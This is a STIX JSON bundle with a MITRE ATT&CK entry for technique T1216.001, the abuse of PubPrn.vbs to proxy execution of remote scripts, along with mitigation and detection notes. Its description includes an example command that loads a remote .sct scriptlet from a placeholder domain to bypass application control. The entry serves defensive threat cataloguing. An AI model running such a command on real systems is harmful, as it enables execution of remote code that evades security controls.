{
    "type": "bundle",
    "id": "bundle--fbc35cd2-96fb-44c7-80c2-b11029290a11",
    "spec_version": "2.0",
    "objects": [
        {
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_contributors": [
                "Atul Nair, Qualys"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
            "created": "2020-02-03T16:49:57.788Z",
            "x_mitre_version": "2.0",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1216.001",
                    "url": "https://attack.mitre.org/techniques/T1216/001"
                },
                {
                    "source_name": "pubprn",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn",
                    "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021."
                },
                {
                    "source_name": "Enigma0x3 PubPrn Bypass",
                    "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
                    "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018."
                }
            ],
            "x_mitre_deprecated": false,
            "revoked": false,
            "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).",
            "modified": "2022-04-18T14:55:35.817Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "PubPrn",
            "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Script: Script Execution",
                "Process: Process Creation"
            ],
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Application Control"
            ],
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        }
    ]
}